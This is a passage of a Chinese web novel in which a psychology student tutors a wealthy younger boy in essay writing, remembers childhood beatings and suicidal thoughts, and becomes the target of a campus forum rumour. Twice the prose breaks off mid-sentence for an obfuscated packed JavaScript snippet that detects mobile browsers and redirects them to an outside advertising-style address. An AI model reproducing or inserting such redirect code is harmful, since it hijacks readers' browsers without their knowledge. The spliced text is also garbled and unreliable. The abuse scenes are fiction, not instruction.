刘阿姨围着一个粉色的围裙,招呼舒澄进屋,“你就是小斐说的那个朋友吧?快请坐,小斐还没起床,小叙刚才起来了,现在应该在洗漱,一会儿就出来。” 舒澄换上拖鞋,到客厅端坐。 刘阿姨端来一杯水和一盘水果切盘,“吃过早饭了吗?我做了薏米粥,一会儿一起喝一碗吧。” 舒澄接过水杯,道谢:“谢谢阿姨,我早上在学校食堂吃过了。” 一路走过来,她的确感到渴意,端起水杯喝了一大口。 抬头间,她瞥到墙壁某处似乎比上次来多了点什么。 有这种感觉,舒澄不免多打量几眼,没记错的话斜对面挂着画框的那面白墙,上次不长这样。上次来应该放了一个青色细口花瓶,之所以记忆这么清晰,还是因为她那时看到花瓶后不停在心里告诉自己,一定不要靠近那个花瓶,一定不要打碎。 刘阿姨瞧见她感兴趣,便主动说:“那时小叙的文章。” 舒澄了然,心想看来段叙的文章也并不是写的一团糟,这不是也有好的嘛,还裱起来了,“阿姨,我能去看看吗?” “可以,当然可以。”刘阿姨瞄了眼卧室方向,小声说,“可别让小叙知道,不然他会不开心。” 都裱起来了,还不开心? 舒澄疑惑,捧着水杯走过去,待走近,她看清楚那张红红笔批注13分的作文答题卡后,嘴里一口没咽光的水差点喷到上面。 怪不得段叙会不开心。 这个被打了13分的作文,居然被裱起来了? 还就挂在长廊,看边框用料并非普通材质,应是价值不菲。 “这紫檀木的框子还是段老板托朋友加急订做出来的,当时他朋友还问挂的是哪个名家的大作,居然用上了紫檀木。诶呦你是没看到小叙那天晚上那个脸黑的呦,跟锅底似的。” 看到这幅被裱起来的作文,舒澄突然理解,为什么段叙和段斐的性格是这样。 真不愧是一家人。 刘阿姨惦记锅里的食物,让舒澄随便看,自己回到厨房准备早餐。 舒澄看作文看得仔细,没注意到段叙不知道什么时候从卧室出来,站在自己身边。 她将最后一个字看完,心理大概有了底,附中的期末卷子她昨晚仔细研究了一下,只能说老师还给了段叙13分,也算宽容了。 “写的确实不怎么样。”她自语。 “有这么差?”一道清冽的嗓音自后方响起。 舒澄被突如其来的声音吓了一跳,杯中水跳晃,她手快将掌心覆在上面,没让水溅出分毫。 吐槽被当事人听见,尤其这个当事人的作文还被裱放在客厅,舒澄面上浮现一抹歉意,“那……也,没,那么差。” 她昧著良心奉行鼓励教育。 段叙盯着她,没错过她脸上纷呈的表情,轻笑出声,“不用顾及我,昨晚我爸爸手下的人来家里开会,十几个人围着这个作文看了十分钟,他们怎么说来着……” “这是不是段老板死对头孩子写的文章啊?跟坨屎似的挂在客厅让老板没事看着心里痛快。”段老板的两个孩子学习都很好,大女儿去年刚考入国内顶尖学府的事情,大家都知道,所以谁都没往他们两个人身上想。 “他们还夸我爸有手段来着,连死对头孩子的答题卡都能弄到手。” 舒澄听着,在 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143861|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 心里给段叙点了根蜡烛。 “舒澄姐,你说我作文还有救吗?” 段叙这么问,脸上却一点无药可救的慌忙也没有,狐狸似的眼尾向上挑起一个非常好看的弧度,许是刚睡醒不久,还晕着一团浅浅的红。 真好看。 这是舒澄第一反应。 她移走视线,喝口水,“有救。” 咕咚一声,在两人之间特别明显。 气氛莫名变得有些胶。 “呀,老弟,你的救来了——”刚从床上爬起来的段斐顶着鸟窝一样的头发在卧室探出头,睡眼迷离不忘挖苦,“欣赏大作呢?澄子你不知道,昨晚我爸手下的人当他面开大,说写的是一坨屎,真是笑死我了,段叙,你怎么在考场撇大条啊。” 硝烟味一触即发。 舒澄默默离开他们姐弟二人的战场。 刘阿姨出来圆场,“哎呀小斐你少说几句,小叙这次没考好心里肯定很难受,做姐姐的体谅弟弟一下。” “他?心里难受?” 段斐宁可相信猪会上树也不会相信段叙会因为没考好心里难受,“臭小子你昨天晚上又玩游戏到后半夜吧?我在房间都能听到你按手柄的声音,吵死了!我要跟妈说让她把你房间里那些游戏机全拆了!” “那我就跟妈说你往学校带违章电器。” “你!” 眼见着又要吵起来,刘阿姨连忙端了早餐上桌,“吃饭吃饭,小斐你朋友都等了快半个小时了,一会儿还得上课呢。” 听说舒澄等了许久,两姐弟才偃旗息鼓,一个到餐厅吃饭,一个回房间睡回笼觉。 饭后,开始上课。 之前去过段斐房间,所以舒澄对段叙房间的面积已经有了一定心理预期,可当实际进去后,她仍是不免被震撼。 这……不像卧室,而是一个活脱脱的电子游戏基地。 一块硕大的电子屏幕正对着床,屏幕下方放着之前段斐带来学校并给绑架了的ps5,两个白色手柄躺在一边。 电子屏幕对边,也是床脚,有一张双人懒人沙发,一黑一白两个正方形抱枕规规矩矩躺着,一看就是为了在屏幕前玩游戏准备的。 窗边书桌和书架上面倒是放了不少书,但旁边竖着的四排半人高亚克力光盘收纳更加吸睛,里面满满当当全是游戏光盘。 房间一角还放了一个大型机器,长得像游戏厅里的舞蹈机,实际上比舞蹈机高级了不止一点,蓝黑色的金属框架,地上围着一圈感应台,科技感满满。 舒澄认识这个,这东西——叫VR。 段叙房间居然有一个VR机。 她看过VR后,再看另一侧舒不凡一直缠着黄丹买的曲面屏电脑,外加上面挂着的一排黑白红绿价值不菲的头戴耳机,心里居然没什么波澜。 不敢想象如果舒不凡进到这里,会不会兴奋的晕过去。 跟左右电子机器相比,窗边那台书桌和书架,竟是这个卧室里唯一的一片净土了。 舒澄心里冒出一个疑惑,他自己家里的设备比网咖不知道好了多少倍,怎么还会去网吧? 不过今天来的正事是补习,舒澄忽略心中疑问,开门见山,“我们今天先分析一下你期末的考卷吧。” 段叙从一摞书里抽出试卷,在桌面摊开。 敞亮开阔的窗户上覆着一道乳白色的纱帘,将窗外刺眼的日光过渡得如早春稀薄的阳光一样柔和,静静地铺洒在桌面。 窗外鸟语花香,微风习习。 窗内,是两颗逐渐挨近的脑袋。 补习持续了两个小时,其实段叙基础不差,舒澄注意到他桌面上自己送出去的作文书都被翻卷边了,可见他平时也很用心。 只是缺少应试思维,所以提分并不算困难。 用一个暑假提升作文分数,舒澄挺有自信。 结束后,舒澄先从卧室出来,遇到正在客厅擦行李箱的段斐。 做饭的刘阿姨已经不见踪影,应该是完成工作下班离去了。 段斐的行李箱很大,把手上黏了不少托运条,她正坐在地毯上清理这些东西。 听见声响,段斐抬起脑袋,“结束了?我弟是不是很难教?” 难教的弟弟正收拾好书桌,推门出来就听见段斐讲自己坏话。 “……” “挺聪明的。”而且不要太聪明,段叙很擅长举一反三,思维极其活络,舒澄一点小差都不敢开,生怕被他问住,这种人,就是天生要考到宜大这种顶级学府的。 如果是教数学或者物理这种科目,自己十有八九被他按在地上捶着打。 舒澄虽也是理科,自认思维逻辑不及他。 “他要撒野你跟我说,我让我妈收拾他。”段斐清理完行李箱,起身,“马叔到楼下了,我先走了。” 段叙冷笑,“我在你心里就是这种人?” 段斐回呛:“难道你不是?” 段叙不跟她计较,抬手去拿箱子,被后者一巴掌拍掉。 白皙的手背红了一片,段斐先声夺人,“干什么?” “送你去机场。” “你会送我去机场,这么好心?” “不用?那算了。” 眼看弟弟要生气,好心当驴肝肺的段斐忙把箱子推到他面前,“少爷,段大少爷,我错了!” 最后还是段叙帮忙拖着行李箱,一行人同路下楼。 电梯行至中间,段斐突然想起来什么,对舒澄说:“澄子,去机场路过学校,正好顺路送你回去。” 宜大在段家和机场中间,却不是正中间,还需要向北面折一下。 舒澄道:“不用了,我坐公交也很方便,别耽误你赶飞机。” “哎呀来得及。”段斐语气不容拒绝,“这么热让你一个人走到车站那我也太没良心了,反正拐一下很快的,我七点二十的飞机,就是开个来回都不会晚。” “就算我同意我弟都不能同意,你现在是他老师。” “对吧?” “嗯。” 盛情难却,舒澄跟着一起上了马叔的车。 那时她还不知道,这样一个简单的举动,会给自己带来多大的麻烦。 19. 弟弟 夏日漫长,舒澄每周要给段叙上两次课。 她原本想在空闲时间找些别的兼职做,能多些收入。但架不住段叙的补课费很丰厚,一堂课五百,眼看余额持续递增,舒澄也没再找别的工作,不上课的日子她就按照自己的节奏到图书馆学习。 如她所讲,段叙很聪明。 应试思维不难培养,才上了几节课,段叙的命题能力就大幅提升,虽然还切不到命题老师的要害,但最起码已经能定义出及格的主题了。 轻松到让舒澄每次收到工资都有些心虚。 总觉得换个人来教,也是一样的效果。 所以再上课,舒澄便如实说出自己的想法,她觉得段叙不需要补一个暑假的课,可能再上两三节,就可以结束,不然也是浪费钱。 不知是否是错觉,舒澄感觉自己说完这番话,段叙脸上的笑容似乎淡了几分。 他支着下巴,笔尖在草纸上随意乱写,“两三节就可以了?” 舒澄检查昨天留给他的十个题目命题和切题分析,“嗯,你现在已经写的比较准了,其实你本身文笔不差,论据选的跟你的题目也都很准确,到时候你自己再配合作文书练习一下,拿50分是没什么问题。” “噢。”段叙松散地应了一声,眼眸垂着,不知在想些什么。 舒澄心情大好,教段叙这种聪明的学生很容易获得成就感,“我们今天拿外省的高考真题练练手。” 四十分钟后。 舒澄看着文采斐然但偏题偏到找不着北的作文陷入沉默。 不应该啊。 昨天那十个命题写的不是挺准确的吗。 难道……段叙就是传说中的……一遇到真题就手残? 她冲身旁的段叙投向同情的目光。 段叙似是没有察觉,一双眸清清亮亮,语气无辜,“写得好吗?能拿到50分吗?” 哎。 舒澄将作文纸放下,拍拍段叙的肩膀,语重心长:“要不要休息一会儿?” 五十分。 我给你五分。 歇歇吧你。 后来几天,舒澄贸了劲给他分析题目,旁征博引,用各种各样的方式让他get到何为出题老师的意图。 “就像你做数学题,几何图形和条件摆在那里,你就知道老师想考你哪些知识点,对不对?其实作文的主要方向说穿了就那么几个,就跟你背数学公式似的,往上套就可以了。数学题你怎么看出来的?作文你可以用同样的方式。” “看一眼就知道了。” “……” “这篇真题配图你觉得老师想表达什么意图?” “家庭暴力?” “……” “你再看看。” “反对应试教育?” “……你现在就是在应试教育。”不要试图挑战权威啊少年! “你能说说这篇作文的题目你为什么取——平均分配这个主题吗?” “盘子里的黑线长短不一。” “……那是卷子印刷问题。” 累了。 毁灭吧。 到后来,舒澄连做梦都在让段叙背题目。 之前她还信誓旦旦表示一定会让段叙的文章取得进步,现在一看,是她话说太早,太天真。 反观段叙,完全没有焦虑,每天上课脸上都挂着笑,心情很不错的样子。 舒澄第一次,有了皇帝不急太监急的感觉。 … 这天,舒太监准时抵达段家。 来开门的是段叙本人,他穿着纯白宽T,黑色长裤,一副刚睡醒不久的样子。 “刘阿姨呢?” “她孙女发烧,这周请假了。”段叙让开身位,给舒澄拿了一双拖鞋。 厨房的灶台冒着热气。 舒澄问:“你在做饭吗?” “嗯。”段叙趿拉着拖鞋往屋里走,“我要煮面,你吃过了吗?” “吃过了。” 段叙到流理台拿起一个鸡蛋,转身就要往滚烫的锅里打。 舒澄连忙出声:“你要做荷包蛋?” “啊。”段叙看看手里的鸡蛋,“有什么问题吗?” “……” 水都沸了压根煮不了荷包蛋啊。 段叙这种家境,想必从小就是衣来伸手饭来张口,在这种环境下刘阿姨请假,他能自己煮面已经算很优秀了。 舒澄这么对自己说。 她上前,拿过段叙手里的鸡蛋,“我来吧。” 段叙没说话,默默退到一边。 舒澄在水池将手洗干净,把段叙烧开的一锅水倒进下水道,重新接水、烧水。 她动作麻利熟练,瞥到一旁菜板上被大卸八块的小青菜,“这个……你要加在面条里吗?” “嗯。” 舒澄将青菜重新清洗,改刀成正常大小。这时,锅底也冒出了细小的泡泡。 温度差不多了,她拿起鸡蛋。 正要在锅沿敲破,却停下动作,“你猜我下一步要干嘛?” 段叙几乎是一瞬间就明白了舒澄的意图,他碰了下眉尾,“煮荷包蛋?” “答对了。”舒澄将鸡蛋打入锅底,透明的蛋清在水温作用下逐渐变为白色,“你猜我为什么要放荷包蛋?” 段叙继续配合,“健康?” “嗯。”鸡蛋成型,舒澄将旁边的面条抽出一人分量下入锅内,“要是想上升一下高度,那就是为了祖国花朵的未来考虑,所以我在面里加了一个营养丰富的荷包蛋。” 舒澄用筷子搅拌锅里软化的面条,“怎么,有体感了吗?其实作文就是这个意思,猜中命题老师的意图后,如果你只写了一个表面,那最多是一篇50分的作文。但如果你能拔高一个高度,就是把他说的高大上,那就可以往55分以上冲一冲。” “猜老师的意图就跟猜我扔鸡蛋是一样的,其实老师的想法没那么复杂,基本上都是字面意思,如果你把理科思维放在里面想得过多,反而会适得其反。” 开锅,舒澄将面条盛进碗里。 最简单的清汤面,不用葱姜蒜爆香也能煮的很好吃,算是她的独门绝技。 “尝尝。” 段叙吃了一口,眼底闪过惊艳,“好吃。” “好吃吧。”舒澄坐到段叙对面,不自觉多说了几句,“我弟也喜欢吃。以前小时候家里没人,饿到不行只能去厨房自己煮挂面,那时候不懂什么爆香,就是水一开直接扔进去,第一次连面条都没煮熟,还硬着呢。” 段叙安安静静地听着,听到舒澄说她饿到自己煮面,轻轻皱了皱眉头,“后来呢?” ——后来? 没人问过舒澄后来。 这是第一次有人问她后来。 她本以为自己已经忘了,可是今天才发现原来还清晰的记着,“后来,太饿了。面条没熟就吃了,说出来都怕你笑话,我边吃边哭,吃完就躺在沙发里等死,觉得自己一定会被自己煮的面条药死。” 她那时候才上小学,哭累了就躺在沙发里睡着了,等舅舅和舅妈回家后,看到水池里没刷的饭碗,将她拽起来骂了一通。 不过这些,她没跟段叙讲。而是捡了她觉得有意思的说。 “有意思吧?” “没意思。” 舒澄一愣,“是嘛?我还以为你会觉得有意思。” “没意思。” 段叙又重复一遍,他不去看舒澄唇边那丝没有灵魂的笑意,只觉得刺眼。 “好吧。” 餐厅安静了片刻。 只有筷子碰撞陶瓷碗的清脆声。 段叙率先开口打破沉默,“你经常给自己做饭吗?” 舒澄:“为什么这么问?” 段叙:“你好像很会做饭。” “算是吧。”黄丹比较传统,觉得女生一定要会做饭,不然以后到婆家没有立足之地,所以经常让舒澄下厨房。 一来二去,她也真被锻炼出来了。 逢年过节家里来人,她都一定要去厨房跟黄丹一起忙活。黄丹说搁在以前旧社会女孩子十八岁就要嫁人,什么活到婆家不得自己干。便当起了甩手掌柜。 自那以后,黄丹要做的就是在客人打开厨房门时,在旁边磕着瓜子说:“什么听话啊,女孩子不做饭以后怎么嫁的出去?厨房油烟味太大咱们出去等。” “我家里人比较在意吧,所以哪怕高三,只要家里来客人我都要去帮忙做饭。” 实际上高中以后黄丹就没再管过了,过年时她情绪那么激动,也有一部分原因是嫌舒澄不回,一大家子的年夜饭都要她一个人动手。 “不过也没有那么惨,高三下学期我成绩还挺好的,在我们县里高中算得上数一数二。我家里人在这方面对我看管就没那么严了,要不说知识改变命运呢。” “虽然你总分已经很高了,但多一分就是千军万马,要是因为作文拉后腿,不免过于可惜了。连我都可以从县城来到宜大。像你这么聪明的人,应该站在更高的地方。” 如果舒澄此时抬头跟段叙对视,会惊讶地发现他眼神中存在的愧疚。 段叙将碗里最后一点面条吃完,起身去洗碗。 在一众瓶瓶罐罐中,找了半天才确定哪瓶是洗洁精。 他修长的手指没入洗碗海绵搓出来的泡泡里,“舒澄姐,今天要不要做真题?” 这么多天,这是他第一次主动问起真题。 自从发现他是个真题废以后,舒澄就不敢轻易给他找真题,怕打击自信是一个原因,真题有限,越做越少也是一个原因。 舒澄眼睛一亮,难道自己那荷包蛋学说起效了?还是知识改变命运的说法打动了段叙,“本来想让你用地方题练手,你想直接做真题吗?” “嗯,多亏你生动的荷包蛋例子。”段叙将白瓷碗里的水分沥干,“开窍了。” 接着,舒澄就见识到了聪明人的开窍是什么。 简直是大鹏乘风,扶摇直上。 一节课摸透出题人意图。 一节课能将所有类型的作文重点一眼抓出。 一节课将论点论据生动结合,交出一份不俗的答卷。 三节课,段皇帝脱胎换骨。 幸福来得太突然,舒澄都要觉得自己是在做梦。 她担心段叙的水平跟之前一样忽高忽低,连着找了好几道含金量很高、略有难度的作文,段叙给出的回答都跟标准答案的方向相差不大。 舒澄如释重负,终于没有辜负段斐的信任,她长出一口气,将段叙精彩的文章平铺在桌面上,从上到下满意地看了好几遍,“恭喜啊,弟弟,出师了。” 段叙托腮,眉目含笑,“写的还可以?” 窗缝敞开,有风灌入,裹挟着略带潮 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|adxs8|n|cc|15143862|164614||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 湿的风将乳白色的纱帘吹起一角,轻轻扫过舒澄的侧脸。 有点痒。 “很可以。” 她伸手抚平纱帘,瞧见窗外不知何时阴云密布,像是即将要下大雨。 今天天气预报明明说一整天都是晴天。 段叙靠着椅背舒展身体,圆珠笔在手指上非常漂亮的转了一圈,“外面好像要下雨。” 话音刚落,电闪雷鸣。 大雨倾盆而泄。 细密湍急的雨水被风吹乱,有不少跑进屋内。 段叙起身将窗子关严,拉开遮阳的纱帘,不过几个动作的时间外面街道已经聚集起许多水坑。 宜宁总爱下这种又大又急的雨。 经常叫人措手不及。 外面的大雨已经不适合再出门,段叙道:“雨停再走吧。” 没别的办法,只好等雨停。 卧室内安静极了,舒澄听着窗外雨滴噼里啪啦敲打玻璃的声音,纷扰杂乱,扰人心绪。 越是这种时候,房间内就被显得更静,静到在雨声背后,可以听到段叙平稳的呼吸声。 舒澄意识到在他卧室等雨停似乎不太好。 她起身,正要说要不我还是出去等吧。 段叙却先她开口,“舒澄姐,你想玩游戏吗?” 玩游戏比干等好。 就这么坐着干等,舒澄心里多少有些不自在。 她点头,“玩什么?” “VR?” 舒澄没玩过VR,但她知道这种游戏戴上眼镜以后,就像身临其境。其实她没跟别人说过,她对这种虚拟现实的东西很感兴趣。 当然,也从来没人问她。 舒澄在段叙的指导下戴上VR眼镜,站在圈内。 段叙到控制器旁挑选游戏,“想玩简单的还是稍微困难一点的?” 舒澄第一次玩,选择保守,“简单些的吧。” “那先试试滑雪?” “好。” 不知段叙设置了什么参数,舒澄眼前的画面突然变成一座雪山,半空中浮现着游戏选项。 她两只手里各被塞了一个手柄,段叙告诉她开始游戏后这个就是滑雪杖,用来保持平衡。 刚开始舒澄还没理解是什么意思,但随着游戏开始,她低头看到自己拿着手柄的两只手变成拿着滑雪杖的手,原本她穿着露胳膊的短袖,在游戏界面里也变成了厚厚的滑雪服。 耳机里传来电子女声说开始。 舒澄眼前的画面开始动起来,眼前景色逼真,她仿佛真的在雪山滑雪,视线不自觉跟着游戏人物的脚底一起动。 画面向左歪,她也不自觉向左摆动身子。 画面像右,她也向右。 画面里她被凸起的雪堆绊到,她本人也跟着张开手臂保持平衡。 她现在肯定像只笨拙的鸭子。 人物在半空起飞,舒澄的心脏跟着忽上,眼见越飞越高,她开始慌了,双手不知如何去掌握平衡,在空中左摇右晃起来。导致她控制的人物在落地时踩到一个巨大的雪包,随着眼前的画面无比真实地做出摔倒的视角,舒澄也跟着一屁股坐在地上。 gameover出现在眼前。 “再试一次吗?”段叙的声音从后方响起。 舒澄越挫越勇,她已经掌握了一些玩VR的诀窍,抱着眼镜点头,“可以。” 第二局。 她很快适应节奏,成功飞越在上一局摔倒的地方。 第二次飞跃很快到来,她像第一次一样用双手保持平衡,利用变换手柄方向操控人物安稳落定,还没等她开始得意,一根粗壮的大树突然出现在面前。 舒澄被突然出现的大树吓了一跳,眼看下一秒就要一头撞上去,一双有力的手扶住舒澄的手腕,帮助她操控方向,成功避开大树。 VR显示屏上的树木被稳稳度过,段叙极有分寸感的立即松开。 舒澄渐入佳境,最后顺利通关。 胜利字样出现在眼前,舒澄兴奋地摘掉眼镜,“这个游戏好神奇,明明人站在原地,脚下却真的有滑雪的感觉!” 很典型的大脑欺骗身体。 段叙沉色的眼眸晕开浅浅的笑,“看起来你很喜欢VR?” “嗯,我觉得这种通过视觉欺骗大脑的游戏很有意思。之前有了解过国外已经有利用这种手段来治疗抑郁症的方式,因为我是学心理学的嘛,所以对这种研究比较感兴趣。” VR游戏一局又一局。 到最后舒澄玩累了,坐在沙发里看段叙玩。 她眼皮愈沉,渐渐闭上眼睛。 暴雨渐小,淅淅沥沥。 段叙摘掉VR眼镜,回头想要询问舒澄要不要喝点饮料。却看见她不知什么时候靠在沙发里睡着了。 他放下眼镜,从床边拿了一条薄毯轻轻盖在舒澄身上。 此刻屋内没有第二个人,他的目光第一次如此明目张胆落在舒澄身上。 看她巴掌大的脸上,架着一副金属眼镜。镜片后面是紧闭的双眼,睫毛卷翘浓密,像一只栖息的蝴蝶。 看她颊边的碎发轻轻晃动,像打瞌睡的鱼, 他手指微动,想要触碰那不听话的发丝,想把它撩到耳后。 距离还剩不到半寸,段叙猛然惊醒。 盯着自己的手。 疯了? 段叙。 20. 弟弟 舒澄睡了一个好觉。 梦里有广阔无垠的雪山,也有漫山遍野的花朵。能听到海浪拍岸的声音,也能听见翠鸟长鸣。 睁眼时,寝室外天光大亮。 她拿出手机一看,竟然已经十点多了。 这还是她第一次睡到这个时间。 微信收到几条消息。 第一条,是Xuuu发来的,说自己已经到家。 第二条,是花开富贵发来的,问她最近学习怎么样。 舒澄这才从朦胧的睡意中回忆起,昨天宜宁暴雨,许多路段积水严重,公交车停运,是段叙叫了马叔一起送她回来。 到寝室后太晚,洗漱后没来得及等段叙的消息就睡过去了。 她给段叙回了一个点头的表情包。 后者暂无回复,应该还没起床。 舒澄从床上下来,到卫生间洗漱后,换上衣服打算去图书馆。 这时黄丹的消息又弹送过来。 花开富贵:【怎么不回话?】 舒澄放下书本,打字回复:【刚才没看手机。】 黄丹极少主动找舒澄唠家常,更别提会关心她的学习。更多的时候是几个月出现一次,久到舒澄觉得她是某天突然才想起,原来她还有一个女儿。 没上大学前,舒澄还会抱有一点点的希望,也许自己考上名牌学,黄丹就会放下重男轻女这种偏见,会正眼看她。 没成想,宜大的录取通知书更像是完成了她的某种使命,只是在走向相夫教子之路添了一笔优秀的简历,在黄丹看来考上宜大已经是舒澄的终点,她将带着这个优秀的简历嫁给一个黄丹觉得梦当户对的女婿,然后从此在后厨忙碌,成为邻里赞赏的贤妻良母。 只有这样,才能弥补黄丹生了一个女儿的遗憾。 所以今天黄丹突如其来找过来,应该还有别的事,绝不止为了闲聊这么简单。 果不其然,黄丹发了一串语音,足有50s那么长。 “你知道子萱吗?就是你舅妈堂姐的孩子呀,考上师范学院那个,有印象吧。昨天晚上一家人吃饭她竟然在饭桌上吐了,你舅妈多聪明啊,赶紧让她堂姐买了验孕试纸,一测果然怀孕了,天呐你说那小姑娘才上大三,比你大一岁而已,居然在学校乱搞。真难想象这种人要是当了老师,那不是祸害学生吗?” “她们昨晚差点把子萱腿打断,今天一早就带去医院打打/胎了。我可给你提个醒,你在宜宁一个人没人管你,别给我搞这种破事,要是让我知道你在学校也有不正当的男女关系,我连夜坐火车去宜宁把你腿打断!你连着两个假期没回家我看都野疯了吧,下学期寒假说什么也要回来,再不回来我跟你爸亲自去宜宁把你带回来,听见了吗?” “我说的话你都给我一字一句记住了,女孩子最重要的是什么?就是贞洁。没有贞洁以后到婆家那是要受白眼的,你要敢干出什么败坏家风的事情,看我怎么收拾你!” 舒澄将黄丹的语音从头听到尾,一个字也没落下。 从小到大,她没少挨黄丹的打。 所以也知道黄丹那句打断腿,并不是说说而已。 初中她借了同桌的故事书看,被黄丹发现,用皮带抽她的胳膊问李梓安是不是男的?是不是跟人家早恋了,不然怎么借给你??她举起同桌的故事书,拆成两半,看看以后还有没有人借你书! 舒澄哭着求她不要撕。黄丹就在她凄惨的求饶下将书撕成碎片。她那时不知道为什么,为什么别人的父母都会给孩子买玩具买零食,黄丹只是责怪她;为什么别人父母都会在学校郊游时给孩子带上许多零花钱,黄丹却因为她用午饭钱买了郊游吃的零食就对自己连打带骂。 她没有买什么过分的东西,她的午饭钱也只有五块。 她只买了几包五角一袋的干脆面。 为什么她声泪俱下跪地求饶,黄丹却能够忽视她的痛苦越笑越狠。 如她所愿,班级里没人愿意跟舒澄做朋友。舒澄攒了一个学期的午饭才买得起那本被撕坏的故事书,但那个叫李梓安的同学却已经转走。 后来那本故事书被黄丹发现,换来了一顿更严重的打骂。 ——你长本事了还敢偷买课外书? ——我看是午饭钱给你太多了吧?以后中午一分钱没有,家里早上剩什么你就吃什么。 纯皮的宽跟短靴不分轻重踹在舒澄身上。过后她生了一场很严重的病,黄丹跟学校老师请假,说她发烧。那时她躺在床上,浑身青紫,第一次有了自杀的想法,那一年,舒澄十三岁。 跟现在万千宠爱中长大的舒不凡,一个岁数。 舒澄从回忆中脱离,自从初三接触心理学后,她已经很少去回忆童年的事情。她一直在学如何保护自己的大脑。 她的身体在黄丹的教育下备受摧残,她只好保护自己的大脑。 时间还不够。 实际还没成熟。 舒澄回复黄丹:【好的。】 拉开寝室门,提前返校的孔苓苓从外面路过。 她瞥过舒澄身上的衣服,阴阳道:“呀,这不是我们系里的第一吗,这学期又拿到奖学金了吧?这有了钱是不一样啊,穿的衣服都贵了。” 舒澄的衣服,是大一开学时段斐送的那身。 她刚跟黄丹说完话,心情不佳,懒得理孔苓苓这不知从哪来的恶意。 二人擦身而过,孔苓苓突然提声,“舒澄,你那件短袖应该挺贵的吧?不知道奖学金能不能买得起?” 舒澄觉得这人真是奇怪,“你上学期排名第四?” 宜大心理系奖学金一等奖一名,二等奖三名,三等奖六名。 按照孔苓苓的排名,她能拿到二等奖,一千八。 孔苓苓拧眉,“第四怎么了?” “第四的话。”舒澄道,“那应该买不起。” 段斐这件短袖,舒澄后来有了解到价格。 最简单的基础款也要七八千。 所以她说的是实话。 实话落在孔苓苓的耳朵里,就像讽刺她成绩差,她紧咬红唇,“学习好了不起?第一名又怎样,不还是只能当鸡头,你这么牛怎么不申请宜大的校级奖学金?不还是申请不下来吗。” 舒澄不生气,反而点头,“你说的是。” 孔苓苓说的不假,她分数不低,但放眼整个宜大,就是神仙打架,尤其是热门专业,她这个分数拎上去评奖根本不够看,这就是顶级高校的竞争。 舒澄申请过一次,连第一轮都没过就被打回了。 这也是她如此用心提升口语的原因,可以再提升一下总分。 宜大校级的奖学金比系里的奖学金丰富很多,校级之上还有市级,额度都是以万为单位,那竞争更加激烈,能拿到的凤毛麟角,不光考察分数,也要评估实践课题,有些大牛本科阶段就跟着老师一起做实验,发表论文了。 舒澄心悦诚服,所以不觉得孔苓苓是在嘲讽自己。 孔苓苓气舒澄的目的告吹,冷哼一声离开。 这个插曲,舒澄并未在意。 却没想,竟是暴风雨来前的预兆。 九月,秋季已至。 大二开学,新生入校。 天气给足了新生们的面子,云层一团盖着一团,将天压得极低,像是随时要下起一场倾盆大雨。空气里一团潮湿,夹带着8月未褪的暑意,碰在人的皮肤上,又潮又热。 陈小雨作为学生会成员,要在迎新席里接待新生。叶从容爱凑热闹,跟学姐借了学生会的胸牌,混在席位里陪陈小雨瞎聊天,她是冲浪达人,时常混迹在宜大各种论坛,不错过任何一点消息。 “我靠考古系的帖子真的是要笑死我了,摆摊两小时,迎新五分钟,收摊撤退了。” 叶从容猫在陈小雨身后,向她实时播报论坛上关于迎新的进度条。 “啊哈哈哈哈哈计算机那边已经搞出一个18级级草的投票了,里面怎么还有程时屿?他不是17级的吗。”叶从容把手机屏幕对着陈小雨,让她也参与一下投票。 陈小雨把几个选项里附带的照片看一遍,“我也选程时屿……诶,他的名字怎么中间都带了‘/’啊?” 程/时/屿。 叶从容科普,“这你就不知道了吧,上学期她们不是搞了一个偶遇程时屿的话题,估计把人家弄烦了,他就黑了论坛把有关自己名字的帖子全都删了。” 她在论坛里打字,边打边说,“好像还设了个程序吧,只要打他名字就会被河蟹。” 程时屿三个字打出来,点击发送。 下一秒,评论区出现程口口。 叶从容展示给陈小雨看,“恐怖如斯啊,计算机系。” 一阵风吹过,伞棚狠狠摇晃。 论坛弹出一则帖子。 起初,叶从容并没在意,而是继续浏览各学院内发的沙雕贴。 在她没关注的时间里,那篇帖子浏览量数倍增长,很快被顶到了首页,后方跟着一个紫红色的「爆」 叶从容这才注意到,她扫了一眼帖子题目:一身名牌豪车接送被包-养,宜大之耻! 光天化日,朗朗乾坤。 有爱又和谐的21世纪。 百年名校宜宁大学。 居然有人被包-养? 叶从容抱着吃瓜的心态点进帖子。 帖子用大量篇幅赞颂宜大学风,借机讽刺被包-养的人品行不端,在这么圣洁的校园里,接受这么多优秀讲师的教育,竟然还能做出这种道德被坏的事情。 里面的文字很能调动人的情绪,叶从容读到最后也忍不住腹诽这名被包-养的同学。 “让我看看到底是谁。” 她点开照片。 一辆很商务的迈巴赫停在校门口,一个穿着黄色短袖的女生从后座下来。 居然有人跟澄子一个审美,喜欢这种颜色鲜亮的短袖。 她划到第二张。 同一辆车,女生换成了一套白色短袖和牛仔裤。 这张照片拍摄于夜晚,上面被特意标注了拍照的时间,晚上十点四十,也是一个让人浮想翩翩的时间。 任谁看,都会觉得里面确有猫腻。 叶从容把帖子给陈小雨看,“论坛刚刚被爆出一个大瓜,快来吃。” 陈小雨忙着登记信息,抽空扫了一眼,看见图中那晃眼的黄色,“澄子怎么在里面。” 